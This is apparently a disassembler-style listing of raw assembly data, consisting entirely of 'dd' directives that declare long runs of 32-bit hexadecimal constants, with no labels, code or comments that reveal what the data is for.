		dd 0CDA4913h, 456B0100h, 32E91D8Ah, 5D34BBD4h, 0EA550942h
		dd 32EA7670h, 50775895h, 91B9053Ah, 0C341C843h,	0D3C8D74h
		dd 8EBBCB01h, 3BC145DBh, 4AEFA03Ch, 0D7CFFA5Dh,	0BA294335h
		dd 0A6AC0F56h, 4E86DE16h, 0C9E6D7CAh, 91BE4Dh, 63F81980h
		dd 5CE829F1h, 5315B5Dh,	0AD284B68h, 10BADED1h, 0B2680B79h
		dd 0BAD0D138h, 0F4E66427h, 4F534E38h, 60EF8CBAh, 90BF354Ah
		dd 228ACE26h, 13404948h, 0F688E84Bh, 7AD99731h,	4AE88069h
		dd 971E675Ch, 3B2F226Ch, 943BDF82h, 7A49E4E1h, 169FC4E2h
		dd 0E843FFB6h, 80668BE5h, 4FD5F720h, 0AA50F053h, 519B7A12h
		dd 147140BFh, 89E8A7A0h, 7C43D748h, 29081512h, 4C3C6404h
		dd 0A1468CBAh, 13B87507h, 6DC7F181h, 0F52D2710h, 1DB3301Bh
		dd 37246FC4h, 0C6123B7Bh, 85010A28h, 59F4E9F8h,	6410E939h
		dd 2AB90393h, 0D26E4B06h, 90D8F8CFh, 814C5BA3h,	0EE3F4Fh
		dd 2CBBBD55h, 552C42h, 0BCE3B1C5h, 0E97109EDh, 77B3CA71h
		dd 641B1C09h, 0F45560A5h, 76F45F5h, 0C527095h, 6B2A14DFh
		dd 0F8F326C6h, 0C84E896Ch, 0AB3ECD29h, 93B86E13h, 55E6442Fh
		dd 9A09909Fh, 6279B4E3h, 457DAC1Bh, 89579FB1h, 0A8D63A0Ch
		dd 0E4AE5865h, 34693F82h, 0C44E5D38h, 707BE4Eh,	7E2EC180h
		dd 0FAF8FF52h, 0CE20C79h, 730AC2FEh, 0E98CD4FFh, 5CB36A2Dh
		dd 2F62ECFBh, 28A66C91h, 60CB5C6Bh, 0E7CA4AF2h,	0AD16B84Eh
		dd 0F78170AFh, 7AB0CC10h, 50049789h, 3368590Ah,	0C12568F9h
		dd 0F6E40DBh, 6BDD417Bh, 3033450Ch, 1D1F4E45h, 0DB961CE7h
		dd 4B4141C0h, 0E12E4E77h, 8743B10h, 71B4F7AEh, 0D7E89569h
		dd 0E90948C7h, 4DB7C2F9h, 83318B2Ah, 0A4BAFD9h,	0B9815A2Ch
		dd 363B29Eh, 0C829F17Fh, 50B505E1h, 4109E47Fh, 31CC2B76h
		dd 6CC60181h, 29031955h, 595E3EEh, 0D061E908h, 0C7835FFDh
		dd 29B2015Ah, 0CE1BAA02h, 2BC1977Ah, 0DD02F738h, 0FB3452C3h
		dd 3F3DFC16h, 0AA9B3912h, 0D1D3E1B2h, 64731713h, 0C7138012h
		dd 0A6BBEF33h, 0D8FB4BB6h, 0AA5AE952h, 8EEE0C13h, 77C31361h
		dd 0CFAFBF57h, 7A604A64h, 0ECB8BB53h, 4B383879h, 0FD00F5D1h
		dd 1333785Fh, 5620E96Ah, 1B98EFA6h, 6F3241B8h, 80EBAE84h
		dd 4A1E8381h, 24EB6F4Bh, 0E692BEB8h, 77BCEAFDh,	5DF1B774h
		dd 79A6B13Eh, 0FE95D3E1h, 0E9C3FBA8h, 0B362530h, 0C0F39170h
		dd 308E5F27h, 0CD0A814Dh, 0C6AB69D6h, 802DC501h, 0C5608450h
		dd 0E8200E27h, 9CDA010Eh, 2C8B0802h, 0F2D6D677h, 0FF77F484h
		dd 4C9F2DF2h, 681AF72Dh, 0C628FE27h, 54672D24h,	4AE0CE66h
		dd 97EB0180h, 25860456h, 282AF521h, 45165833h, 84E317B2h
		dd 0DD9F9597h, 0A2C540BBh, 4731114Eh, 0C33190F7h, 0FB8F1004h
		dd 1D10D30Bh, 21C53B0Fh, 0A1ACE828h, 0C6C8C888h, 28590258h
		dd 369E9EEh, 0C1E196FDh, 0B9259F7Ah, 0C357304Bh, 5CE77C12h
		dd 8413BEDh, 9687130h, 669F6D1Bh, 0EAB2B0D7h, 0B6713A3h
		dd 6986A0F7h, 5FAC284Ah, 7B83C0F1h, 91174E74h, 820C69EBh
		dd 6EE95267h, 4F9BDFFEh, 0CED5EE8h, 0AA0DA8C0h,	2A6812B9h
		dd 81753420h, 0D8D35998h, 5D9BE907h, 0A669BFF6h, 31588CA2h
		dd 64F2D477h, 83F0BF2Dh, 0B4635BE9h, 4CC155ADh,	27EE6BADh
		dd 61100D7Dh, 6856005Dh, 54916472h, 5C13F85Eh, 0EDD36CAFh
		dd 8BBA4F59h, 0D1018584h, 0E90965CBh, 0B9BA5526h, 0C4A39E3Ah
		dd 0FE857046h, 8B2E9A99h, 30344BD8h, 12598BBAh,	15605659h
		dd 27461FC1h, 76DC78BFh, 5FDE08A0h, 0F6DF9D0Dh,	87100922h
		dd 2D583F4Ch, 2D130056h, 4AA55059h, 58E17Eh, 0E8015F07h
		dd 88E26595h, 5C13B07Ch, 0A14416BBh, 31B36AA1h,	3D7D0C60h
		dd 0EC90EF91h, 624736C9h, 2D67E60Eh, 0FE3A72D4h, 9F0ACEF6h
		dd 27BBF4E6h, 10DEC3EDh, 0F78E435h, 29B613B5h, 0C4A80230h
		dd 41B90734h, 7048110Ch, 738B6D2h, 1C43DA5Dh, 0B20219CFh
		dd 49586017h, 5F8C01B9h, 25E9F931h, 0ED4659F6h,	78002A0Dh
		dd 0E87E5605h, 77C2A074h, 6BB8253Ch, 0B04BFE72h, 9EAEE1C4h
		dd 84C34C8Fh, 0D71F52E4h, 0B115E89Dh, 6827DC3h,	0D50FE953h
		dd 0C9CE9A57h, 2D862835h, 0AB07BE68h, 0A056230h, 7404460Ch
		dd 0D0B01309h, 6B06EBE8h, 180EC834h, 0AD404CE9h, 7C1619EEh
		dd 0CCAF3F7Ah, 474DCCD1h
		dd 17680BC5h, 20334431h, 0BA052F63h, 54C20E08h,	4FD6F51Ch
		dd 20EA2B17h, 0A02E999Ch, 236B1FC1h, 0F76805B1h, 443EA748h
		dd 3C3AEC90h, 13AB0B2Dh, 9DB874C5h, 43D06E68h, 94E9304Fh
		dd 0B0252C89h, 2D341E2Dh, 11583538h, 0DF556838h, 0D472630h
		dd 0E0765B1Dh, 0CDB893E1h, 50BD56E6h, 0BDCAC035h, 6D304436h
		dd 370B6DB0h, 707CD076h, 253C7755h, 2EFE7DF0h, 3DD6E961h
		dd 9D10427Dh, 0EEE45049h, 6B680A38h, 2183D5EAh,	0CB02164Eh
		dd 85096FF6h, 0AE25514h, 6E91AA60h, 7649022Fh, 12F38943h
		dd 2F40027h, 8784E228h,	2CA9B0ABh, 0B450FC09h, 780D0735h
		dd 0EB57E307h, 5FBE5854h, 0C732B112h, 2EA33B55h, 8AB1DFC4h
		dd 5D2D4C72h, 55C325E8h, 0F5C9F2C6h, 2188C05Ch,	25F4AF8h
		dd 16E868E8h, 8D2D0B6Ch, 7923E435h, 0B2FB2755h,	68A19F66h
		dd 0FFCD2E4Bh, 0B66D0CE0h, 569F848Ch, 6CA8815Ah, 787626Fh
		dd 7AA72ECFh, 0D62C32B2h, 89AC711h, 28926247h, 14DD6FAh
		dd 7A24422Dh, 13CB2C57h, 0D7D234B1h, 5A0D7E02h,	8993FE77h
		dd 0DB7757DAh, 0EB0647E8h, 3A1B3BB1h, 9DE3EB17h, 0BA77BD84h
		dd 7D940075h, 12818BAAh, 0E6AF54CEh, 0D6F414FCh, 0B9388438h
		dd 0BBF50113h, 61CA7A4Eh, 4EBD3F51h, 0B49FC085h, 651EDFEFh
		dd 0A8C96A1Ah, 25E77255h, 0B8513704h, 6DD22DC0h, 21064A40h
		dd 3E57E9A6h, 459E609h,	84BC96DEh, 0AF82BF4Bh, 0D55B758Bh
		dd 4991143Fh, 31DA5F56h, 0B07D3B69h, 808C9A9Bh,	7EE4B42Ch
		dd 0F65269F2h, 0DC61898Eh, 8FF42FB6h, 312B4A7Ah, 0DEB0E9BEh
		dd 8864F795h, 1F8920Fh,	5017ABFDh, 0D8280992h, 0BFFE4F2Ch
		dd 71816A42h, 0B6744233h, 0DCDA81E9h, 0B4B9571Eh, 7467F7E9h
		dd 0F03CE98Bh, 84769FB2h, 44DCF9DAh, 6C04FA5Ch,	46C25251h
		dd 2CA67DE5h, 14D241C8h, 0C35F9CF0h, 43705CECh,	2DF9AFF4h
		dd 0F3258F94h, 0F18141A0h, 513B21EAh, 68C90327h, 4492E54h
		dd 0E8DAAB18h, 32B8BE87h, 0F6E2DF27h, 6940F3F7h, 0B982745Eh
		dd 0D5635A5Fh, 0EAE18043h, 12B36E81h, 0F2607627h, 0FE3C2CB2h
		dd 38C893CAh, 71417A90h, 0BE254E61h, 39DA2E21h,	0C5D0B97Bh
		dd 5E81F9F7h, 0E8076970h, 3E457E08h, 26F3299Fh,	95EF09D1h
		dd 0A849C87Fh, 0B2366227h, 2CA4BDF7h, 8DC8FE5Ch, 0A12B4CE2h
		dd 0B117FAA4h, 0EFD734F3h, 25F89535h, 4149BE8Dh, 0BC4F7F01h
		dd 914DCF9Bh, 7B3121AEh, 0F1EAB87Eh, 0B900C8FBh, 0C12E701Ah
		dd 9E004F0Ch, 0E906A05Dh, 0AE8D4B90h, 22728431h, 0E876316Eh
		dd 27DB4B7Dh, 0D5E7B25Dh, 0E96163D9h, 6D6B246Dh, 0CBF22FDDh
		dd 732AFFD3h, 0FC2075Dh, 0E8783485h, 53E06816h,	84C62161h
		dd 2DB1AD03h, 0BB0C93BAh, 42563304h, 91EA9FAh, 0F67443D1h
		dd 4940279Bh, 6B1665BFh, 3E024BCEh, 0DEB43194h,	66B8304Dh
		dd 3700D049h, 126CBF57h, 962956A8h, 0A05ECD4Dh,	68D0102Ch
		dd 0C9E9381Ch, 72D5823h, 41FB1385h, 0E1C0ED60h,	0BF4DB05Fh
		dd 7F951548h, 0E114D327h, 844C248h, 36086580h, 0E97209BDh
		dd 7E747902h, 0F80B95A0h, 0F82E1B4Fh, 0AA68164Bh, 4067A37Bh
		dd 2827E910h, 1647C54Bh, 8028C06Ah, 0F7E6A6CFh,	0F9886B0Eh
		dd 4CCB6B5Bh, 48B46347h, 633B795Eh, 0C84FACC3h,	2A28BD9Ch
		dd 9071DC2Dh, 2F63B3E2h, 0DED8EBC0h, 0E94B2A04h, 8EFA5A93h
		dd 0BF277E46h, 4C20463Eh, 0F38000D8h, 3FB65935h, 261B6819h
		dd 6725946Fh, 0E41324E8h, 344B9812h, 0BB36CB09h, 0BF5B8EF8h
		dd 5C259A2Fh, 27036D57h, 300C9A7Bh, 0FCD5348h, 0F840211h
		dd 0B3964066h, 121AC304h, 0B5FD6882h, 0C7490841h, 983AB871h
		dd 734422F7h, 511938B8h, 4A78AA2Fh, 93FD52D7h, 66974E60h
		dd 0E9250137h, 5B38E1F8h, 0C36FED7Bh, 18313C68h, 0B1AE65Dh
		dd 2B96297Fh, 3BC83044h, 0BE19D373h, 0CA015E16h, 755E38A4h
		dd 0C70F7EBAh, 0DEEB8AA1h, 0B0436D75h, 0A2D1E90Dh, 9B5450CCh
		dd 0C23AB450h, 0D00C5244h, 12751EC5h, 0FC55CB35h, 56A596F4h
		dd 48C37839h, 3E702602h, 0D7649F68h, 99C8051Bh,	3CEF095Ah
		dd 0B951A05Fh, 586B1673h, 0E36F0162h, 0DA52EB49h, 0F00B9080h
		dd 0FF66511Eh, 6C16594Ah, 82BA3B01h, 0D89D7378h, 2D5B09BEh
		dd 4BF76B4Fh, 0E60FC82Fh, 7F9E9842h, 12A809BFh,	3CDFE929h
		dd 888498BDh, 4BA368FAh, 0EC603116h, 7BD13169h,	0AAC654E8h
		dd 0C522477Ch, 9EC0B501h, 0A14F4EC0h, 97BE0984h, 0AE3B6597h
		dd 0E9305539h, 6C2B02F9h, 4C7CE926h, 0BF83DE54h, 13B2844h
		dd 290C5F0Ch, 30F0317Eh, 0D99578B7h, 10AFE281h,	0EE97CFD1h
		dd 0EE3B6FA1h, 0F4687671h, 2C4EB778h, 0F32DE974h, 5EDD74FBh
		dd 9FB6812h, 0A25367BAh, 0AFA25564h, 0E6F51B9Bh, 20CB5908h
		dd 124B524Ah, 0FF5FBB49h, 0DF4521CBh, 309302C5h, 3F557A05h
		dd 0EBC5A6A3h, 7BAFE703h, 3D75C52h, 0E8FD99EAh,	3FF5DF49h
		dd 0E5EB3DD5h, 20834343h, 717908E1h, 0B734452h,	4FE45E08h
		dd 707DCCA2h, 91E9162Eh, 0C951ADC5h, 13E6C85Ah,	9CDABC11h
		dd 5733902h, 295EF331h,	7BE32DDAh, 0E913BFCAh, 2F92F153h
		dd 0BE4888F0h, 0BB5E13ECh, 3C879B71h, 1261BE2Eh, 430C6FF1h
		dd 0F83B2741h, 15398D82h, 0E9E01F62h, 0C6B5D4E1h, 0AF865179h
		dd 0C5E9A83Eh, 6ACD21DFh, 317F826Ah, 1A7E1FCAh,	35D3D0C4h
		dd 0F8135E5Ah, 0C7904F03h, 4C5D3E23h, 35B22317h, 0FFF40E8Bh
		dd 0B4A34913h, 4D57FA5Eh, 60B8DDBBh, 73409AF8h,	2082A429h
		dd 547F26B7h, 0CC06E02Fh, 26FD97A4h, 4B29A3C1h,	6AC7AE5Fh
		dd 5AED259h, 0C27961EAh, 699C0503h, 0E99F818Ch,	12162E0Dh
		dd 0B6B086FCh, 0C6603036h, 3EE9581Dh, 84C89C7Ah, 82DC1F75h
		dd 0A749CC32h, 70FC2828h, 0C8FAE44Bh, 5EBD5E86h, 0A868612Fh
		dd 32A62F6Ah, 2A39F796h, 2D0190E1h, 3AEA2F4Dh, 0B930E0D1h
		dd 0F2660269h, 34C1E965h, 0A103E164h, 29451F50h, 0D867EAC8h
		dd 0AB534E73h, 869812Bh, 4E6EBC7Dh, 819DC47Dh, 2A7C692Fh
		dd 6010BDCEh, 814B00DEh, 0D66673E3h, 0D20CC165h, 80568E40h
		dd 2999AC80h, 14DA01F8h, 2D6ADBE9h, 0AF642313h,	802B273Dh
		dd 0E90EB655h, 34D2BA7Dh, 3A04ABFh, 0BC7812C1h,	253C98Ah
		dd 72C9751Eh, 0F1AFBD53h, 166BD074h, 25040DEh, 0AA008272h
		dd 68973E48h, 68E1C12Ch, 7574C900h, 5ED15D16h, 47C90E9h
		dd 4A4BE5EBh, 4F15FBB8h, 0D44CE861h, 0E7F13A7Fh, 78089675h
		dd 99DD7E9h, 8D455720h,	0ACE7AD3Fh, 7C265CC2h, 2F99BDAEh
		dd 51977053h, 786C3107h, 7F71E281h, 669768D3h, 1109099Ah
		dd 0D762D389h, 6F160EC0h, 805F093Ch, 0F37F6EE7h, 9E94E908h
		dd 0EE8003B4h, 5AD82073h, 2FFAD3F6h, 5B0A664Dh,	4081F9C2h
		dd 6D05523Dh, 69C124Fh,	88070C08h, 5F518B69h, 5DF699C2h
		dd 0F59AE74h, 212F072Ah, 0D03674F9h, 420DB93Ch,	12757E3Dh
		dd 94CD054Eh, 0A704AB79h, 0AE43AB6Eh, 0B94C370Ah, 0E489DDA5h
		dd 5BF841DFh, 7A0EE82Eh, 8C2B9512h, 0E4C74501h,	0D805A4Ch
		dd 620256E7h, 28D0F729h, 140C6808h, 5193521Eh, 0C7804317h
		dd 480457BBh, 4476445Dh, 24C5DB77h, 0DCBB4A34h,	0B8715003h
		dd 37886616h, 0E15C41BEh, 0EC334B03h, 3CF8BF57h, 9E3AAC28h
		dd 0F679050Ah, 120F9622h, 0B2044A61h, 99240848h, 3A53AB16h
		dd 4449D1EEh, 23CD6E65h, 0B64D56E4h, 21EB83B7h,	0C09123Ah
		dd 0DE64B479h, 91CE007Ch, 524B3265h, 0DC31E925h, 49F1812Ch
		dd 2B85E37Bh, 7D42779Dh
		dd 84197C8Fh, 0C7F3020Eh, 3416AF94h, 68FE0BF6h,	5A17E654h
		dd 3C2EEACBh, 0CD2D6209h, 0A359FFA9h, 259F8B3Dh, 3B18DC71h
		dd 0B02F4ADh, 42D7BEBAh, 0A843FFA2h, 0FB57D3FAh, 0B4576B14h
		dd 699424D5h, 21F2837Ah, 7ED2D428h, 5004CD7Ch, 0ADE6AD68h
		dd 106BC318h, 0D095F308h, 6B60E91Fh, 1E770468h,	1C5CFAE9h
		dd 42AB2DFBh, 0C477DF0h, 753CF90Bh, 0E93F8A96h,	609C5FC7h
		dd 18B82568h, 2F8BABF1h, 83099103h, 90F69EE0h, 0F15A5E88h
		dd 0DC826B6Bh, 1732C04Dh, 29C41E4Eh, 0F502BCD1h, 7CE03928h
		dd 1214A25Fh, 0CD0E0FA5h, 4152DEE9h, 81B9C24Fh,	0E596592Dh
		dd 0E8FAD19Dh, 65B410ACh, 0DBBC2A5Eh, 5E8A9C5Fh, 7BE07013h
		dd 140D6001h, 0BC7F20F7h, 12F20756h, 5689F47Ch,	0D1BE16F4h
		dd 60EDC750h, 0FBFA42EBh, 0D8B659FAh, 453D3500h, 1721109Dh
		dd 85658C6h, 792F44AEh,	82811D21h, 5C266A17h, 683A7F60h
		dd 186DFD30h, 5B0A0BA5h, 46DDE14Eh, 5E48C53Fh, 89A027B8h
		dd 0A1CCD735h, 0BA595EA1h, 7ED78729h, 0D8E23744h, 5B078105h
		dd 0B23EC801h, 6146C1B0h, 25307690h, 1D878254h,	8D20A878h
		dd 7A7B870Ah, 3C4D3C5Bh, 0C0E2F402h, 0D8F24Bh, 31735E9Ch
		dd 92AEE9D0h, 5296D597h, 0F6528020h, 963739EDh,	0C7930FA5h
		dd 0E3F0B0A2h, 92CE595Bh, 0F01BE913h, 350948A7h, 41A45865h
		dd 9FE029A4h, 0F0210771h, 2B43935Eh, 0E4AF0257h, 7D9C0915h
		dd 956D8F22h, 17744A76h, 0FB366CE9h, 648365CCh,	0E1775572h
		dd 3EA561B0h, 0BE2E2D9Ah, 5F3EC073h, 12E3135h, 82050F3h
		dd 8B5BE915h, 94E949CBh, 1FE94A1Ah, 9208A382h, 5E55CAE2h
		dd 16C72566h, 40B6DFA5h, 0B000574Fh, 369C3AD9h,	62D5158h
		dd 1AEB53A4h, 0A7D19540h, 0ADCD15BEh, 4FE603EFh, 1D078438h
		dd 0C477B60Ch, 0E1BDE90Ah, 0A53478ABh, 532D0BBBh, 5875084Ah
		dd 5B5D3E51h, 9FFB6EA8h, 56E304D6h, 0D5044C57h,	21F8045Eh
		dd 96EEE2E8h, 0EF8156EFh, 5304E59Fh, 0BF80D1E9h, 2568B830h
		dd 31E69516h, 0DB47F401h, 0EBE3E943h, 55F19D2Eh, 101F0135h
		dd 207CE565h, 0DC50C78h, 0A5C2EA01h, 50FA5D9Bh,	7498B4A0h
		dd 81176706h, 120D94EAh, 0FADF14E9h, 524EA431h,	6284EE05h
		dd 0D47C43EFh, 0BC196E77h, 5BAA1C78h, 93B9FD2Fh, 0F3ED2CAFh
		dd 780A43h, 4DB66B9Eh, 0B942BB5Fh, 508EF82Dh, 0CC4313CAh
		dd 0BD530131h, 346BDD6Eh, 67BC617Fh, 84AD5D12h,	0D2CCA693h
		dd 0FCD62EBDh, 0AFB3B0DDh, 95FD9DFFh, 10DD2CF3h, 292F20h
		dd 3014C22Ch, 0F76A137Ah, 9E0209D2h, 55662175h,	2AFAD568h
		dd 70C8968h, 25084D68h,	0CB48B724h, 5901A502h, 9725570h
		dd 91C11DAh, 184DD514h,	0F7D2FCA6h, 0A8E9616h, 7BD58839h
		dd 3C52593Bh, 5AF518E6h, 4BADE973h, 0AF1AD0BFh,	43127B1Bh
		dd 810CE01h, 250E4C08h,	0BCBCD96Ch, 47D13A92h, 8505EE21h
		dd 7C05FA4Ah, 51698758h, 3D8D903Dh, 59C06F59h, 5C39F180h
		dd 2D76D408h, 54C128F7h, 7D8D5A8h, 0C704F803h, 464B125Dh
		dd 44B05000h, 0DBF67BB3h, 0D5B25203h, 98D3C280h, 0EA30D6EAh
		dd 88EB27E9h, 688B1D7Bh, 6ADADCA8h, 91D0258h, 0D612BEBh
		dd 2F4D78E2h, 5B805E5Ah, 523B1EB3h, 86892541h, 972B5BD5h
		dd 8A8C6E82h, 65D35C5Fh, 0C040BCEDh, 0AE6366C3h, 25F3EC3Ah
		dd 5C725F97h, 2338570Bh, 0BE90D7BEh, 0E46926E9h, 3C778465h
		dd 2E845E0Fh, 0A9EDAA84h, 0F1FE0D9Ah, 13503B08h, 0D2D8775Dh
		dd 525B6E8Ah, 57EC0627h, 933B0DBh, 4EC834EBh, 48C4C900h
		dd 0E690203Eh, 3C3AF804h, 57C05676h, 96B141Ah, 2C54E90Dh
		dd 0BAE0B3D6h, 0BDD32241h, 7005FF81h, 687FD6C5h, 9D640C63h
		dd 7927DFF9h, 7CFE957h,	671EE906h, 38B707B4h, 33BAE780h
		dd 0FA8120EFh, 4BC3E45Bh, 0EB0A20E1h, 0F0B55AEAh, 109CE7DCh
		dd 24C83DCAh, 0AF2CAD0Bh, 4ECC1686h, 0D7F9F62Dh, 0A566C18Fh
		dd 3951637h, 7C0D1DC0h,	894769D4h, 5084EE0h, 5B42EC12h
		dd 0E9C4B4EFh, 0C5ADD425h, 5FA60839h, 0F998F02Dh, 0AD1D9711h
		dd 0E69E5F16h, 5BFF5C4Dh, 0AED234B3h, 8E6CC046h, 0C46DEA48h
		dd 0EFC4FE55h, 0AA809A83h, 32C3F543h, 8146849Ch, 57CB978h
		dd 0FD7B02FAh, 7610227h, 21528BCh, 7B4D24BEh, 7DC15537h
		dd 6B2B6515h, 0E96A4BB1h, 91E4D2F5h, 0EA024AC2h, 0AF0BAF9Ah
		dd 2A48E9C8h, 0E0EBEAC1h, 5FDF3D50h, 215C6A6h, 79EF02FDh
		dd 4029096Fh, 1F055152h, 18C1123Bh, 47931E04h, 21DB4A12h
		dd 1CB00B0h, 29176F30h,	7E35ACE9h, 0A750D4CEh, 0B81C40D9h
		dd 0FE62560Bh, 0C45606h, 6EB2B951h, 810232C1h, 824AC5F1h
		dd 42AD8979h, 1071FF87h, 1FF15DDAh, 26A6288h, 3D4661BAh
		dd 82C0E192h, 7044F0Ah,	99CCE918h, 5BF52FAh, 0CAC60950h
		dd 0EF884E21h, 81CBC074h, 0CA451FF2h, 0D7294217h, 0ACBE7E03h
		dd 0FC829571h, 0ED6070C2h, 0ED3B8F65h, 336526D5h, 58946884h
		dd 4F3001E9h, 0B8578B15h, 31995097h, 916D30Bh, 2A9561D8h
		dd 0C5292220h, 255D0095h, 4F2A0779h, 34E77CE9h,	0C6A259C0h
		dd 5C91FE77h, 6C5701A1h, 5F6D0F1h, 3E4A69ABh, 4003FF0Ch
		dd 82F81622h, 2F03AB29h, 9A1F152Dh, 20897E2Ah, 53A1BC07h
		dd 6BB16FF3h, 2D7A947Ch, 0A7552E07h, 5ADD5617h,	0E7281DEDh
		dd 3280B77Eh, 7703398Fh, 6B4B5DFAh, 6549B0F2h, 624D2D7Bh
		dd 0C22BB119h, 68AF30D7h, 34545E9Dh, 0FDA2FF78h, 0B7E96197h
		dd 8FCC3B3Fh, 50BD405Bh, 64B2B800h, 0F92562D4h,	0ACA74B01h
		dd 20B40512h, 0A0017318h, 764C7E30h, 0D0820502h, 0F6559D24h
		dd 0C906B70Dh, 0C91C5C80h, 339CE20Eh, 8A44351Eh, 0DC82C0A0h
		dd 5F48C4AEh, 0EE08B44Eh, 0BD333C04h, 72825868h, 6246F645h
		dd 0C42B1C42h, 2F95903Bh, 72A15CA2h, 60624EC1h,	7240A9B1h
		dd 6FD20FB8h, 0D65E4A8Ch, 0A680A46Eh, 7A31CF41h, 0A2247941h
		dd 0E2AD3B31h, 0E99381FFh, 26872260h, 3AFD3166h, 0A20267A4h
		dd 78DDEDD1h, 0BD564F46h, 0A3F54F79h, 0B62F0030h, 43EA89F7h
		dd 0C880EE51h, 0F72C863Ch, 69E3B5D0h, 75EFB4E5h, 0A8891E41h
		dd 46D12912h, 0D620163Fh, 8B8454A2h, 1D73BF2Eh,	2585E451h
		dd 68EB88EEh, 5ADEC3A2h, 0FA15AE61h, 0AD19F03Eh, 0DF290DC1h
		dd 6B7CBFE9h, 0EF1E5248h, 38EAC29Fh, 0ED88CF01h, 62F32708h
		dd 5940B92Eh, 5A76856h,	0E93E1B34h, 0BDCFA05Ah,	2D50C31Eh
		dd 0D40A92E4h, 4BDAF42h, 0E23077B4h, 0F20181FFh, 6E6C60BDh
		dd 61872F97h, 0BE69EA13h, 4B8F17C0h, 2C37ED3Eh,	0BB80558Eh
		dd 76425FEEh, 0C87109B8h, 9FF9352h, 3582F539h, 0EC83B95h
		dd 55B45FFDh, 0F0FB7F5Ah, 20D9E4A5h, 7EFB19E5h,	56BC4471h
		dd 0F28DF710h, 17D88724h, 12EBF634h, 0C536ED20h, 0D299DD29h
		dd 0E9C2E02Ch, 54076861h, 0DFAC6664h, 1255BE02h, 28621C44h
		dd 0D327F877h, 33D7BF0Ch, 381D1AC0h, 92E92620h,	0E5088299h
		dd 0D655048Bh, 6C3FD1A2h, 0F55724AFh, 49224C0Eh, 85F0767Eh
		dd 41B2FEE9h, 0A05C83B0h, 4685E80Ah, 0C2BDAC9Ah, 0AB368233h
		dd 3566552Bh, 0F005FCBFh, 0F388E2A9h, 0AF2E173Dh, 0E09BA113h
		dd 8A4E4E7Ch, 0E682C5B0h, 0A8604E25h, 5C5550CAh, 0E3B5E0F0h
		dd 954EF688h, 85C4272h,	0B54C24A8h, 477B7AC0h, 0E6E91333h
		dd 41B78DD9h, 329D9A1Fh, 52421F04h, 0AF2C5BFEh,	0F24A27E9h
		dd 1444B359h, 1618D544h, 227787FEh, 765FE830h, 6B8FC3E6h
		dd 5C052625h, 7E5B9CD1h
		dd 181A6070h, 4E6D6855h, 5D779616h, 8104DC18h, 17696BF5h
		dd 11838477h, 0B93EE2A1h, 0C7D5CAD0h, 79994830h, 5D392ED6h
		dd 453F0046h, 0D9F75908h, 0AD2E912h, 4C526E4h, 0C15F1D28h
		dd 0B23FC2E3h, 0B7FC4E58h, 4EB52F06h, 98A6FD30h, 0D8719D58h
		dd 0E0CACBCFh, 0A15166FEh, 0ED144D88h, 0C8FBF58Dh, 7A4FE95Eh
		dd 555FA8C2h, 30280BDBh, 0C15B0224h, 7647688Eh,	98F4A8Ch
		dd 217E562Eh, 3FAF4A72h, 86C8F5A9h, 894F9E0Eh, 1E7285E4h
		dd 0EA73810Bh, 5B0804B6h, 0BA3E48F0h, 8ED1BD84h, 0DB2DC3EDh
		dd 6F7BA1E4h, 0ADD0E7B3h, 0B4C82E8Bh, 0F9954F9Dh, 897BFE0h
		dd 87F22141h, 0B0660EAh, 0F8F9C082h, 91FD2C7h, 57D25D37h
		dd 7AE1F506h, 1C38031Ah, 2D34BDE9h, 0C56B125Fh,	52689C77h
		dd 82AD3714h, 0C3B20982h, 4B4E725Fh, 5BAF0970h,	0A03AB973h
		dd 9F681234h, 5DD3600Ah, 653FDD1Fh, 11C91750h, 5788F3A9h
		dd 0C3315F07h, 5A2C4383h, 73FBACAFh, 0A70CFEB0h, 0F878336Bh
		dd 71714150h, 0F5A22B09h, 4B74B2C1h, 0F189457Eh, 0AD073133h
		dd 0F017D422h, 125BA868h, 5456AF30h, 527C1EF7h,	0B4FA57E9h
		dd 0E2BDDE40h, 9A3E771Bh, 71A6810h, 1D3CE909h, 0AB9706D2h
		dd 80E945EEh, 7F7809DBh, 0C09DF301h, 116CF08h, 0FB3185E8h
		dd 80DE215Fh, 3526EEF8h, 5BE96958h, 0DD2049FDh,	98051509h
		dd 7A8CC205h, 5525B874h, 35FF661Eh, 8BA22D50h, 61505459h
		dd 7AFE875Fh, 0F6818A01h, 3BC83D4Fh, 0C688C14Eh, 44F73613h
		dd 0E7F25DAh, 0EB162BECh, 65EC5ECDh, 92E596CAh,	0E294675Dh
		dd 5881C2A8h, 7B7C9BB1h, 0B968A0A0h, 886F4A8Dh,	800B13A3h
		dd 0B36E84C1h, 50552093h, 9EDBCBBh, 0FB79C81Ch,	4EC0FE01h
		dd 0EF01F45Eh, 5D080082h, 0B74CEBE9h, 7F44AD69h, 6C202BF3h
		dd 4B39F0BFh, 0E152EC8Bh, 5A2D5954h, 0AE5BD984h, 7583CE7h
		dd 0AE15A984h, 40470E41h, 77204A03h, 15487144h,	0B1DEF70Ch
		dd 0EC5C2C04h, 0D8BF823Dh, 7E624707h, 0B914FDF8h, 1134A419h
		dd 0D290C57Eh, 0A0F14E7Ah, 35060680h, 8EC7A4B7h, 0E9E48195h
		dd 0FF32531Ah, 0EB800207h, 48C3333Dh, 702E0620h, 1F1B879h
		dd 4F0C31B0h, 0F518B252h, 290B30EAh, 0BD820860h, 60EC3ECFh
		dd 16858C7Dh, 0E5EC68B4h, 281F7939h, 0D17EDC33h, 0DF095598h
		dd 577763FBh, 0B7344B09h, 1E835248h, 220447D3h,	17C7FA89h
		dd 8D74C3Eh, 0AA7F25E9h, 339A2FE8h, 2EF645ECh, 214F114Fh
		dd 6815A405h, 518EB700h, 0DF45FB1h, 0A02D1D48h,	0FC59EB28h
		dd 1CE36451h, 5E59BDBEh, 66450097h, 0C34528AFh,	9BF93D09h
		dd 0FD18863Ah, 0C6801C6Fh, 0B0F6CF12h, 0D42C5C64h, 0B2B4AA78h
		dd 0CD2E5AD0h, 10273A93h, 7A5514E2h, 58FA3AE9h,	9AF073Dh
		dd 0D35CFC01h, 3B4175E0h, 88D315B6h, 564AE9C6h,	72B86A09h
		dd 4D5EB74Ch, 0FB18CB12h, 3B2FC6C8h, 0FACA7CD6h, 95A15D8h
		dd 10DA9CEh, 0B041744Ah, 0DADB2531h, 6DA86040h,	0B8046E00h
		dd 47540C6Fh, 0E9F00B01h, 6DA9E6B6h, 12668CFFh,	0DF318053h
		dd 0E7049590h, 2F98699Dh, 5C0981BCh, 7A59679Fh,	0A766CB01h
		dd 0B86A0542h, 0C3E90C31h, 2DE65740h, 956C8468h, 9F55E701h
		dd 4FD7F74Dh, 17C906ACh, 9FEBA328h, 942E9C89h, 0DDE89798h
